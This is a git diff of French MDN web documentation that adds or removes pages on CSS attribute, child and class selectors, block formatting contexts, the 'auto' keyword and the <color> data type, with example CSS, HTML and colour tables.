[attr^=valeur]
+
Permet de cibler un élément qui possède un attribut attr dont la valeur commence par valeur.
+
[attr$=valeur]
+
Permet de cibler un élément qui possède un attribut attr dont la valeur se termine par valeur.
+
[attr*=valeur]
+
Permet de cibler un élément qui possède un attribut attr et dont la valeur contient au moins une occurrence de valeur dans la chaîne de caractères.
+
[attr operateur valeur i]
+
On peut ajouter un i (ou I) avant le crochet de fin. Dans ce cas, la casse ne sera pas prise en compte (pour les caractères contenus sur l'intervalle ASCII).
+
[attr operateur valeur s] {{experimental_inline}}
+
Ajouter un s (ou S) avant le crochet fermant permettra d'effectuer une comparaison de valeur sensible à la casse (pour les caractères ASCII).
+
+ +

Syntaxe formelle

+ +
{{CSSSyntax}}
+ +

Exemples

+ +

Liens

+ +

CSS

+ +
a {
+  color: blue;
+}
+
+/* Liens internes commençant avec "#" */
+a[href^="#"] {
+  background-color: gold;
+}
+
+/* Liens avec "example" n'importe où dans l'URL */
+a[href*="example"] {
+  background-color: silver;
+}
+
+/* Liens avec "insensitive" n'importe où dans l'URL,
+   quelle que soit la casse */
+a[href*="insensitive" i] {
+  color: cyan;
+}
+
+/* Liens avec "cAsE" n'importe où dans l'URL,
+   et avec cette casse donnée.*/
+a[href*="cAsE" s] {
+  color: pink;
+}
+
+/* Liens qui finissent ".org" */
+a[href$=".org"] {
+  color: red;
+}
+ +

HTML

+ +
<ul>
+  <li><a href="#internal">Lien interne<a></li>
+  <li><a href="http://example.com">Lien d'exemple</a></li>
+  <li><a href="#InSensitive">Lien interne insensible à la casse</a></li>
+  <li><a href="http://example.org">Lien vers example.org</a></li>
+</ul>
+ +

Résultat

+ +

{{EmbedLiveSample("Liens")}}

+ +

Langues

+ +

CSS

+ +
/* Tous les éléments divs avec un attribut `lang` seront en gras. */
+div[lang] {
+  font-weight: bold;
+}
+
+/* Tous les divs en anglais américains seront bleus. */
+div[lang~="en-us"] {
+  color: blue;
+}
+
+/* Tous les divs en portugais seront verts. */
+div[lang="pt"] {
+  color: green;
+}
+
+/* Tous les divs en chinois seront rouges (chinois
+   simplifié (zh-CN) ou traditionnel (zh-TW). */
+div[lang|="zh"] {
+  color: red;
+}
+
+/* Tous les divs en chinois traditionnels pour l'attribut
+   `data-lang` seront violet. */
+/* Note : Les doubles quotes ne sont pas strictement nécessaires
+   ici */
+div[data-lang="zh-TW"] {
+  color: purple;
+}
+
+ +

HTML

+ +
<div lang="en-us en-gb en-au en-nz">Hello World!</div>
+<div lang="pt">Olá Mundo!</div>
+<div lang="zh-CN">世界您好！</div>
+<div lang="zh-TW">世界您好！</div>
+<div data-lang="zh-TW">世界您好！</div>
+
+ +

Résultat

+ +

{{EmbedLiveSample("Langues")}}

+ +

Listes ordonnées

+ +

{{SeeCompatTable}}

+ +

La spécification HTML indique que l'attribut {{htmlattrxref("type", "input")}} doit être testé sans sensibilité à la casse car il est généralement utilisé avec l'élément {{HTMLElement("input")}}. Si on souhaite utiliser un sélecteur d'attribut avec {{htmlattrxref("type", "ol")}} d'une liste ordonnée ({{HTMLElement("ol")}}), cela ne fonctionnera pas sans le modificateur de sensibilité à la casse.

+ +

CSS

+ +
/* Les types de liste devront être utilisé avec le
+   marqueur pour la casse vu les spécifications HTML */
+ol[type="a"] {
+  list-style-type: lower-alpha;
+  background: red;
+}
+
+ol[type="a" s] {
+  list-style-type: lower-alpha;
+  background: lime;
+}
+
+ol[type="A" s] {
+  list-style-type: upper-alpha;
+  background: lime;
+}
+ +

HTML

+ +
<ol type="A">
+  <li>Liste d'exemple</li>
+</ol>
+ +

Résultat

+ +

{{EmbedLiveSample("Listes_ordonnées")}}

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('CSS4 Selectors', '#attribute-selectors', 'attribute selectors')}}{{Spec2('CSS4 Selectors')}}Ajout du modification pour la sélection des valeurs d'attribut ASCII insensible à la casse.
{{SpecName('CSS3 Selectors', '#attribute-selectors', 'attribute selectors')}}{{Spec2('CSS3 Selectors')}} 
{{SpecName('CSS2.1', 'selector.html#attribute-selectors', 'attribute selectors')}}{{Spec2('CSS2.1')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("css.selectors.attribute")}}

+ +

Voir aussi

+ +
    +
  • {{CSSxRef("attr")}}
    • +
  • Sélectionner un élément : {{domxref("Document.querySelector()")}}, {{domxref("DocumentFragment.querySelector()")}} ou {{domxref("Element.querySelector()")}}
    • +
  • Sélectionner l'ensemble des éléments correspondants : {{domxref("Document.querySelectorAll()")}}, {{domxref("DocumentFragment.querySelectorAll()")}} ou {{domxref("Element.querySelectorAll()")}}
    • +
  • Ces méthodes sont implémentées sur le mixin {{domxref("ParentNode")}}, voir {{domxref("ParentNode.querySelector()")}} et {{domxref("ParentNode.querySelectorAll()")}}
    • +
diff --git a/files/fr/web/css/auto/index.html b/files/fr/web/css/auto/index.html deleted file mode 100644 index 92535f6d82..0000000000 --- a/files/fr/web/css/auto/index.html +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: auto -slug: Web/CSS/auto -tags: - - CSS - - Référence CSS -translation_of: Web/CSS/width -translation_of_original: Web/CSS/auto ---- -

{{ CSSRef() }}

-

Résumé

-

Indique qu'une valeur est calculée de manière automatique par le navigateur. Les effets de auto sont différents suivant la propriété à laquelle la valeur est affectée.

-

Utilisation

-
    -
  • {{ Cssxref("overflow") }}
    • -
  • {{ Cssxref("overflow-x") }}
    • -
  • {{ Cssxref("overflow-y") }}
    • -
  • {{ Cssxref("cursor") }}
    • -
  • {{ Cssxref("width") }}
    • -
  • {{ Cssxref("height") }}
    • -
  • {{ Cssxref("marker-offset") }}
    • -
  • {{ Cssxref("margin") }}
    • -
  • margin-* (left|bottom|top|right|start|end)
    • -
  • {{ Cssxref("bottom") }}
    • -
  • {{ Cssxref("left") }}
    • -
  • {{ Cssxref("table-layout") }}
    • -
  • {{ Cssxref("z-index") }}
    • -
  • {{ Cssxref("column-width") }}
    • -
diff --git a/files/fr/web/css/block_formatting_context/index.html b/files/fr/web/css/block_formatting_context/index.html deleted file mode 100644 index 5b324fc6bb..0000000000 --- a/files/fr/web/css/block_formatting_context/index.html +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: Contexte de formatage de blocs -slug: Web/CSS/Block_formatting_context -tags: - - CSS - - Reference - - Web -translation_of: Web/Guide/CSS/Block_formatting_context ---- -
{{CSSRef}}
- -

Un contexte de formatage de blocs (block formatting context) est une partie du rendu visuel par le CSS, d'une page web. C'est la région qui délimite la mise en page des blocs et dans laquelle les éléments flottant interagissent les uns avec les autres.

- -

Un contexte de formatage de blocs est créé dans les situations suivantes :

- -
    -
  • L'élément racine ou quelque chose qui le contient
    • -
  • Les éléments flottants (éléments avec une valeur pour la propriété {{cssxref("float")}} autre que none)
    • -
  • Les éléments avec une position absolue (éléments avec la propriété {{cssxref("position")}} à absolute ou fixed)
    • -
  • Les blocs en ligne (éléments avec la propriété {{cssxref("display")}} à inline-block)
    • -
  • Les cellules de tableau (éléments avec {{cssxref("display")}}: table-cell, ce qui est le défaut pour les cellules de tableau)
    • -
  • Les titres de tableau (éléments avec {{cssxref("display")}}: table-caption, ce qui est le défaut pour {{HTMLElement("caption")}})
    • -
  • Les éléments où {{cssxref("overflow")}} a une valeur autre que visible
    • -
  • Les boîtes flexibles (éléments avec {{cssxref("display")}}: flex ou inline-flex)
    • -
  • {{cssxref("display")}}: flow-root
    • -
- -

Un contexte de formatage de blocs contient tout ce qui se trouve dans l'élément qui l'a créé, et qui ne se trouve pas aussi dans un élément descendant définissant un nouveau contexte de formatage de blocs.

- -

Les contextes de formatage de blocs sont important pour le positionnement (voir {{cssxref("float")}} et {{cssxref("clear")}}). Les règles de positionnement et de "libération" des blocs flottants (par {{cssxref("clear")}}) s'appliquent seulement aux éléments au sein d'un même contexte de formatage de blocs. Les blocs flottants n'influent pas sur le positionnement des éléments se trouvant dans d'autres contextes de formatage de blocs, et {{cssxref("clear")}} ne libère que des blocs flottants dans le même contexte de formatage de blocs.

- -

Spécifications

- - - -

Voir aussi

- -
    -
  • {{cssxref("float")}}
    • -
  • {{cssxref("clear")}}
    • -
  • {{cssxref("display")}}
    • -
diff --git a/files/fr/web/css/child_combinator/index.html b/files/fr/web/css/child_combinator/index.html new file mode 100644 index 0000000000..bc24234ef2 --- /dev/null +++ b/files/fr/web/css/child_combinator/index.html @@ -0,0 +1,94 @@ +--- +title: Sélecteurs enfant +slug: Web/CSS/Sélecteurs_enfant +tags: + - CSS + - Débutant + - Reference + - Sélecteur +translation_of: Web/CSS/Child_combinator +--- +
{{CSSRef("Selectors")}}
+ +

Le combinateur > sépare deux sélecteurs et cible seulement les éléments correspondant au second sélecteur qui sont des enfants directs des éléments ciblés par le premier sélecteur.

+ +
/* Les éléments <li> qui sont des enfant d'un */
+/* <ul class="mon-truc"> */
+ul.mon-truc>li {
+  margin: 2em;
+}
+ +

En comparaison, lorsque deux sélecteurs sont combinés à l'aide du sélecteur descendant, l'expression formée par la combinaison des deux sélecteurs cible les éléments correspondant au second sélecteur qui ont un parent de n'importe quel niveau qui correspond au premier sélecteur, quelque soit le nombre de « sauts » dans le DOM.

+ +

Syntaxe

+ +
selecteur1 > selecteur2 { déclarations CSS }
+
+ +

Exemples

+ +

CSS

+ +
span {
+  background-color: white;
+}
+
+div > span {
+  background-color: blue;
+}
+
+ +

HTML

+ +
<div>
+  <span>Premier span du div.
+    <span>Deuxième span, dans un span dans un div.</span>
+  </span>
+</div>
+<span>Troisième span, en dehors de tout div.</span>
+
+ +

Résultat

+ +

{{EmbedLiveSample("Exemples", "100%", 100)}}

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('CSS4 Selectors', '#child-combinators', 'child combinator')}}{{Spec2('CSS4 Selectors')}} 
{{SpecName('CSS3 Selectors', '#child-combinators', 'child combinators')}}{{Spec2('CSS3 Selectors')}}Aucune modification.
{{SpecName('CSS2.1', 'selector.html#child-selectors', 'child selectors')}}{{Spec2('CSS2.1')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("css.selectors.child")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/css/class_selectors/index.html b/files/fr/web/css/class_selectors/index.html new file mode 100644 index 0000000000..115d791092 --- /dev/null +++ b/files/fr/web/css/class_selectors/index.html @@ -0,0 +1,101 @@ +--- +title: Sélecteurs de classe +slug: Web/CSS/Sélecteurs_de_classe +tags: + - CSS + - Reference + - Sélecteur +translation_of: Web/CSS/Class_selectors +--- +
{{CSSRef}}
+ +

Les sélecteurs de classe CSS permettent de cibler des éléments d'un document en fonction du contenu de l'attribut class de chaque élément.

+ +
/* Cible tous les éléments ayant la classe "spacious" */
+.spacious {
+  margin: 2em;
+}
+
+/* Cible tous les éléments <li> ayant la classe "spacious" */
+li.spacious {
+  margin: 2em;
+}
+
+/* Cible tous les éléments <li> ayant une classe qui */
+/* contient à la fois "spacious" et "elegant"        */
+li.spacious.elegant {
+  margin: 2em;
+}
+ +

L'attribut {{htmlattrxref("class")}} est une liste de termes séparés par des espaces, il est nécessaire qu'un de ces termes corresponde exactement au nom utilisé dans le sélecteur pour que l'élément soit ciblé.

+ +

Syntaxe

+ +
.nomdeclasse { déclarations CSS }
+ +

Cela est exactement équivalent à l'utilisation du sélecteur d'attribut de la façon suivante :

+ +
[class~=nomdeclasse] { déclarations CSS }
+ +

Exemples

+ +

CSS

+ +
.classy {
+  background-color: skyblue;
+}
+.toto {
+ font-weight: bold;
+}
+
+ +

HTML

+ +
<div class="classy">Voici un div avec du texte.</div>
+<div class="toto classy truc">Les éléments peuvent avoir plusieurs classes, le sélecteur fonctionnera tout de même !</div>
+<div>En voilà un autre.</div>
+
+ +

Résultat

+ +

{{EmbedLiveSample('Exemples')}}

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('CSS4 Selectors', '#class-html', 'class selectors')}}{{Spec2('CSS4 Selectors')}}Aucune modification.
{{SpecName('CSS3 Selectors', '#class-html', 'class selectors')}}{{Spec2('CSS3 Selectors')}} 
{{SpecName('CSS2.1', 'selector.html#class-html', 'child selectors')}}{{Spec2('CSS2.1')}} 
{{SpecName('CSS1', '#class-as-selector', 'child selectors')}}{{Spec2('CSS1')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("css.selectors.class")}}

diff --git a/files/fr/web/css/color_value/index.html b/files/fr/web/css/color_value/index.html new file mode 100644 index 0000000000..fd238e5816 --- /dev/null +++ b/files/fr/web/css/color_value/index.html @@ -0,0 +1,1379 @@ +--- +title: +slug: Web/CSS/Type_color +tags: + - CSS + - Reference + - Type +translation_of: Web/CSS/color_value +--- +
{{CSSRef}}
+ +

Le type de données CSS <color> permet de représenter des couleurs dans l'espace de couleurs sRGB. Une couleur pourra être décrite de trois façons :

+ + + +

En plus de la couleur exprimée dans l'espace RGB, une valeur <color> contient également un canal alpha qui décrit la transparence de l'image et donc la façon dont cette image se compose avec son arrière-plan.

+ +
+

Note : Cet article décrit le type de donnée CSS <color> en détails. Si vous souhaitez en savoir plus sur l'utilisation des couleurs en HTML, n'hésitez pas à lire Appliquer des couleurs à des éléments HTML grâce à CSS.

+
+ +

Syntaxe

+ +
+

Bien que les valeurs des couleurs CSS soient définies précisément, elles pourront s'afficher différemment sur différents appareils. La plupart des appareils ne sont pas calibrés et certains navigateurs ne prennent pas en charge le profil de couleurs de l'appareil. Sans ces éléments, le rendu des couleurs peut varier.

+
+ +

Il existe plusieurs méthodes pour décrire une valeur <color>.

+ +

Les mots-clés

+ +

Les mots-clés sont des identifiants insensibles à la casse qui représentent une couleur donnée. Par exemple, le mot-clé red représentera la couleur rouge, blue le bleu, brown le marron, etc. La liste des valeurs autorisées a fortement évolué au cours des différentes versions de la spécification :

+ +
    +
  • La spécification CSS de niveau 1 n'acceptait que 16 couleurs basiques, construites à partir des couleurs VGA disponibles sur les cartes graphiques.
    • +
  • La spécification CSS de niveau 2 a ajouté le mot-clé orange.
    • +
  • Depuis le début des couleurs CSS, les navigateurs ont pris en charge d'autres couleurs, notamment les couleurs X11 car certains des premiers navigateurs étaient des applications X11. SVG 1.0 a été le premier standard qui a défini formellement ces mots-clés et la spécification CSS de niveau 3 sur les couleurs a aussi défini ces couleurs formellement. Ces différentes couleurs sont parfois intitulées couleurs étendues (extended colors), couleurs X11 ou couleurs SVG.
    • +
  • La spécification CSS de niveau a ajouté la couleur rebeccapurple en l'honneur d'Eric Meyer.
    • +
+ +

Voici quelques inconvénients liés aux mots-clés :

+ +
    +
  • En dehors des 16 couleurs de base présentes également en HTML, les autres valeurs ne peuvent pas être utilisées en HTML. HTML convertira ces valeurs inconnues avec un algorithme spécifique qui donnera d'autres couleurs à l'arrivée. Ces mots-clés ne doivent être utilisés qu'avec SVG ou CSS.
    • +
  • Si un mot-clé inconnu est utilisé, la propriété sera considérée comme invalide et sera donc ignorée. Le comportement est donc différent de HTML (qui calculera une couleur).
    • +
  • Aucun mot-clé ne définit de couleurs transparentes, toutes les couleurs indiquées par des mots-clés sont unies et opaques.
    • +
  • Certains mots-clés désignent la même couleur : +
      +
    • aqua / cyan
      • +
    • fuchsia / magenta
      • +
    • darkgray / darkgrey
      • +
    • darkslategray / darkslategrey
      • +
    • dimgray / dimgrey
      • +
    • lightgray / lightgrey
      • +
    • lightslategray / lightslategrey
      • +
    • gray / grey
      • +
    • slategray / slategrey
      • +
    +
    • +
  • Bien que les noms des mots-clés soient calqués sur les couleurs X11, les couleurs correspondantes peuvent être différentes en CSS et avec X11 car pour ce dernier les couleurs étaient conçues pour le matériel du constructeur.
    • +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationCouleurMot-cléValeurs exprimées en hexadécimal RGBExemple « live » dans le navigateur
{{SpecName("CSS1")}}black#000000
silver#c0c0c0
gray#808080
white#ffffff
maroon#800000
red#ff0000
purple#800080
fuchsia#ff00ff
green#008000
lime#00ff00
olive#808000
yellow#ffff00
navy#000080
blue#0000ff
teal#008080
aqua#00ffff
{{SpecName("CSS2.1")}}orange#ffa500
{{SpecName("CSS3 Colors")}}aliceblue#f0f8ff
antiquewhite#faebd7
aquamarine#7fffd4
azure#f0ffff
beige#f5f5dc
bisque#ffe4c4
blanchedalmond#ffebcd
blueviolet#8a2be2
brown#a52a2a
burlywood#deb887
cadetblue#5f9ea0
chartreuse#7fff00
chocolate#d2691e
coral#ff7f50
cornflowerblue#6495ed
cornsilk#fff8dc
crimson#dc143c
cyan (synonyme de aqua)#00ffff
darkblue#00008b
darkcyan#008b8b
darkgoldenrod#b8860b
darkgray#a9a9a9
darkgreen#006400
darkgrey#a9a9a9
darkkhaki#bdb76b
darkmagenta#8b008b
darkolivegreen#556b2f
darkorange#ff8c00
darkorchid#9932cc
darkred#8b0000
darksalmon#e9967a
darkseagreen#8fbc8f
darkslateblue#483d8b
darkslategray#2f4f4f
darkslategrey#2f4f4f
darkturquoise#00ced1
darkviolet#9400d3
deeppink#ff1493
deepskyblue#00bfff
dimgray#696969
dimgrey#696969
dodgerblue#1e90ff
firebrick#b22222
floralwhite#fffaf0
forestgreen#228b22
gainsboro#dcdcdc
ghostwhite#f8f8ff
gold#ffd700
goldenrod#daa520
greenyellow#adff2f
grey#808080
honeydew#f0fff0
hotpink#ff69b4
indianred#cd5c5c
indigo#4b0082
ivory#fffff0
khaki#f0e68c
lavender#e6e6fa
lavenderblush#fff0f5
lawngreen#7cfc00
lemonchiffon#fffacd
lightblue#add8e6
lightcoral#f08080
lightcyan#e0ffff
lightgoldenrodyellow#fafad2
lightgray#d3d3d3
lightgreen#90ee90
lightgrey#d3d3d3
lightpink#ffb6c1
lightsalmon#ffa07a
lightseagreen#20b2aa
lightskyblue#87cefa
lightslategray#778899
lightslategrey#778899
lightsteelblue#b0c4de
lightyellow#ffffe0
limegreen#32cd32
linen#faf0e6
magenta (synonyme de fuchsia)#ff00ff
mediumaquamarine#66cdaa
mediumblue#0000cd
mediumorchid#ba55d3
mediumpurple#9370db
mediumseagreen#3cb371
mediumslateblue#7b68ee
mediumspringgreen#00fa9a
mediumturquoise#48d1cc
mediumvioletred#c71585
midnightblue#191970
mintcream#f5fffa
mistyrose#ffe4e1
moccasin#ffe4b5
navajowhite#ffdead
oldlace#fdf5e6
olivedrab#6b8e23
orangered#ff4500
orchid#da70d6
palegoldenrod#eee8aa
palegreen#98fb98
paleturquoise#afeeee
palevioletred#db7093
papayawhip#ffefd5
peachpuff#ffdab9
peru#cd853f
pink#ffc0cb
plum#dda0dd
powderblue#b0e0e6
rosybrown#bc8f8f
royalblue#4169e1
saddlebrown#8b4513
salmon#fa8072
sandybrown#f4a460
seagreen#2e8b57
seashell#fff5ee
sienna#a0522d
skyblue#87ceeb
slateblue#6a5acd
slategray#708090
slategrey#708090
snow#fffafa
springgreen#00ff7f
steelblue#4682b4
tan#d2b48c
thistle#d8bfd8
tomato#ff6347
turquoise#40e0d0
violet#ee82ee
wheat#f5deb3
whitesmoke#f5f5f5
yellowgreen#9acd32
{{SpecName("CSS4 Colors")}}rebeccapurple#663399
+ +

La couleur rebeccapurple est équivalente à la couleur #639. Pour mieux comprendre pourquoi elle a été ajoutée, vous pouvez lire ce billet Codepen par Trezy « Honorer un grand homme » (en anglais).

+ +

Le mot-clé transparent

+ +

transparent est un mot-clé qui représente une couleur totalement transparente (autrement dit, la couleur qui sera vue sera la couleur située en arrière-plan). D'un point de vue technique, il s'agit d'un noir pur avec un canal alpha minimal : rgba(0,0,0,0).

+ +
+

Note : Attention lorsqu'on utilise ce mot-clé pour un dégradé (cf.{{cssxref("gradient")}}, la spécification W3C indique que transparent devrait être calculé dans l'espace de couleurs avec pré-multiplication des alpha. Cependant, les anciens navigateurs peuvent traiter ce noir avec une valeur alpha de 0.

+
+ +
Note historique : Le mot-clé transparent n'était pas une valeur de type <color> pour la spécification CSS de niveau 2 (première révision). C'était un mot-clé qui pouvait être utilisé comme valeur pour les propriétés {{cssxref("background")}} et {{cssxref("border")}}. Il a été ajouté afin de pouvoir surcharger l'héritage de couleurs opaques. Avec l'ajout de la gestion de l'opacité via les canaux alpha, transparent a été redéfini comme une couleur avec la spécification CSS de niveau 3 sur les couleurs, ce qui permet de l'utiliser à n'importe quel endroit où une valeur <color> est nécessaire (la propriété {{cssxref("color")}} par exemple).
+ +

Le mot-clé currentColor

+ +

Le mot-clé currentColor représente la valeur calculée de la propriété {{cssxref("color")}} pour l'élément. Il permet aux propriétés de couleur d'hériter de la valeur de l'élément parent même si, par défaut, celles-ci n'utilisent pas l'héritage.

+ +

Il peut également être utilisé sur des propriétés qui héritent de la valeur calculée de la propriété {{cssxref("color")}} de l'élément. Cela sera alors équivalent au mot-clé {{cssxref("inherit")}}.

+ +

Si currentColor est utilisée comme valeur pour la propriété color, sa valeur est déterminée à partir de la valeur héritée pour la propriété color.

+ +

Exemples

+ +

La couleur de la ligne prend la couleur héritée depuis son élément parent.

+ +
+
Exemple live n°1
+ +
<div style="color:darkred">
+ La couleur de ce texte est bleu.
+  <div style="background:currentColor; height:1px"></div>
+ Un peu de texte.
+</div>
+
+ +

{{EmbedLiveSample('Exemple_live_n°1')}}

+ +
Exemple live n°2
+ +
<div style="color:blue; border-bottom: 1px dashed currentColor;">
+ La couleur de ce texte est bleu :
+  <div style="background:currentColor; height:1px"></div>
+ Un peu de texte.
+</div>
+ +

{{EmbedLiveSample('Exemple_live_n°2')}}

+
+ +

Les couleurs RGB

+ +

Les couleurs peuvent être définies selon le modèles rouge-vert-bleu-alpha (RGB avec une composante alpha, optionnelle, pour gérer la transparence.

+ +

Syntaxe

+ +

Les couleurs RGB peuvent être exprimées avec une notation hexadécimale (préfixée avec #) ou avec des notations fonctionnelles (rgb() ou rgba()).

+ +
+

Note : Dans la spécification du module CSS Color de niveau 4, rgba() a été définie comme une fonction historique dont la grammaire et le comportement est le même que rgb(). C'est donc un synonyme. À partir de cette spécification, les deux peuvent accepter les mêmes paramètres.

+
+ +
+
Notation hexadécimale : #RRGGBB[AA]
+
Le signe « # » suivi par huit caractères hexadécimaux (0-9, A-F), les deux premiers déterminent la composante rouge, les deux suivants la composante verte puis la composante bleue et enfin les deux derniers, optionnels, déterminent la composante alpha.
+
Notation hexadécimale : #RGB[A]
+
le signe « # » suivi par quatre caractères hexadécimaux (0-9, A-F), le premier chiffre représente la composante rouge, le deuxième la composante verte, le troisième la composante bleue et le quatrième, optionnel, la composante alpha.
+
Notation fonctionnelle avec des virgules : rgb(R, G, B[, A]) ou rgba(R, G, B, A)
+
Cette fonction permet d'ajouter une composante d'opacité (par rapport à la fonction rgb()). Le quatrième argument définira la force de l'opacité : 1 pour une opacité complète et 0 pour une transparence totale. Les arguments peuvent être des nombres ({{cssxref("<number>")}}) ou des pourcentages ({{cssxref("<percentage>")}}) (ex. rgb(1e2, .5e1, .5e0, +.25e2%)).
+
Notation fonctionnelle : rgb(R G B[ / A]) ou rgba(R G B / A)
+
Cette forme fonctionne de façon analogue à la forme précédente depuis le module de spécification CSS Colors Level 4.
+
+ +

Exemples

+ +
Les différentes variantes pour la syntaxe RGB
+ +
/* Ces exemples définissent tous la même couleur */
+#f03
+#F03
+#ff0033
+#FF0033
+rgb(255,0,51)
+rgb(255, 0, 51)
+rgb(255, 0, 51.0)
+rgb(100%,0%,20%)
+rgb(100%, 0%, 20%)
+rgb(100%, 0, 20%) /* Erreur : on ne peut pas mélanger les nombres et les pourcentages */
+
+ +
RGBa
+ +
/* Notation hexadécimale */
+#f030               /*   0% opacité - rouge */
+#F03F               /* 100% opacité - rouge */
+#ff003300           /*   0% opacité - rouge */
+#FF003388           /*  50% opacité - rouge */
+
+/* Notation fonctionnelle */
+rgba(255,0,0,0.1)   /*  10% opacité - rouge */
+rgba(255,0,0,0.4)   /*  40% opacité - rouge */
+rgba(255,0,0,0.7)   /*  70% opacité - rouge */
+rgba(255,0,0,  1)   /* 100% opacité - rouge */
+
+/* Notation fonctionnelle avec des nombres décimaux */
+rgba(255, 0, 153.6, 1)
+rgba(1e2, .5e1, .5e0, +.25e2%)
+
+/* Notation avec un espace */
+rgba(255 0 0 / 0.4) /* 40% opacité - rouge */
+rgba(255 0 0 / 40%) /* 40% opacité - rouge */
+ +

Les couleurs HSL

+ +

Les couleurs peuvent également être définies selon le modèle HSL (pour Hue-Saturation-Lightness qui signifie teinte-saturation-clarté).

+ +

HSL est considéré comme plus intuitif que RGB car on peut ajuster les couleurs au fur et à mesure ou créer des palettes de couleurs plus simplement (par exemple en conservant la même teinte et en faisant varier la saturation et/ou la clarté).

+ +

Syntaxe

+ +

Pour HSL, les couleurs peuvent être exprimées via les notations fonctionnelles hsl() ou hsla().

+ +
+

Note : Dans la spécification du module CSS Color de niveau 4, hsla() a été définie comme une fonction historique dont la grammaire et le comportement est le même que hsl(). C'est donc un synonyme. À partir de cette spécification, les deux peuvent accepter les mêmes paramètres.

+
+ +
+
Notation fonctionnelle : hsl(H, S, L,[, A]) ou hsla(H, S, L, A)
+
+

La valeur H correspond à la teinte (hue) et est représentée comme un angle {{cssxref("<angle>")}} sur le cercle des couleurs. Lorsque la valeur est écrite sans unité, elle est considérée comme une valeur exprimée en degré. Par définition, le rouge correspond à 0 et 360 et les autres couleurs évoluent sur le cercle. Vert correspond à 120 et bleu à 240. La valeur se comporte comme un angle et « tournera en boucle » avec une même mesure de couleur qui peut avoir différentes valeurs (par exemple -120 sera équivalent à 240 et 480 sera équivalent à 120).

+ +

La valeur S correspond à la saturation (saturation) et la valeur L correspond à la clarté (lightness), ces deux valeurs sont représentées par des pourcentages. Pour la saturation, avec 100% l'image sera complètement saturée et avec 0%, l'image sera en nuances de gris. Pour la clarté, 100% correspondra à du blanc et 0% à du noir. 50% agira comme une clarté « normale ».

+ +

La valeur A (canal alpha) peut être un nombre (type {{cssxref("<number>")}} entre 0 et 1 ou un pourcentage (type {{cssxref("<percentage>")}} (la valeur 100% correspond alors à la valeur numérique 1 : opacité complète).

+
+
Notation fonctionnelle : hsl(H S L[ / A]) ou hsla(H S L / A)
+
+

Le module CSS Colors Level 4 ajoute la prise en charge de la notation fonctionnelle avec les espaces comme séparateur.

+
+
+ +

Exemples

+ +
HSL
+ +
hsl(0,  100%,50%)   /* red */
+hsl(30, 100%,50%)
+hsl(60, 100%,50%)
+hsl(90, 100%,50%)
+hsl(120,100%,50%)   /* green */
+hsl(150,100%,50%)
+hsl(180,100%,50%)
+hsl(210,100%,50%)
+hsl(240,100%,50%)   /* blue */
+hsl(270,100%,50%)
+hsl(300,100%,50%)
+hsl(330,100%,50%)
+hsl(360,100%,50%)   /* red */
+
+hsl(120,100%,25%)   /* dark green */
+hsl(120,100%,50%)   /* green */
+hsl(120,100%,75%)   /* light green */
+
+hsl(120,100%,50%)   /* green */
+hsl(120, 67%,50%)
+hsl(120, 33%,50%)
+hsl(120,  0%,50%)
+
+hsl(120, 60%,70%)   /* pastel green */
+
+/* syntaxe avec les espaces */
+hsl(120 60% 70%) /* pastel green */
+
+/* Valeur d'angle */
+/* on peut également utiliser les unités */
+/* rad, grad, turn */
+hsl(120deg 60% 70%) /* pastel green */
+
+/* Valeur alpha optionnelle */
+hsl(240,100%,50%,0.05)   /* 5% opaque blue */
+hsl(240,100%,50%,5%)     /* 5% opaque blue with percentage value for alpha */
+hsl(240 100% 50% / 0.05) /* 5% opaque blue */
+hsl(240 100% 50% / 5%)   /* 5% opaque blue with percentage value for alpha */
+
+ +
HSLa
+ +
hsla(240,100%,50%,0.05)  /* 5% opaque blue */
+hsla(240,100%,50%, 0.4)  /* 40% opaque blue */
+hsla(240,100%,50%, 0.7)  /* 70% opaque blue */
+hsla(240,100%,50%,   1)  /* full opaque blue */
+
+/* syntaxe avec un espace */
+hsla(240 100% 50% / 0.05)/* 5% opaque blue */
+
+/* valeur en pourcentage pour l'alpha */
+hsla(240 100% 50% / 5%)/* 5% opaque blue */
+
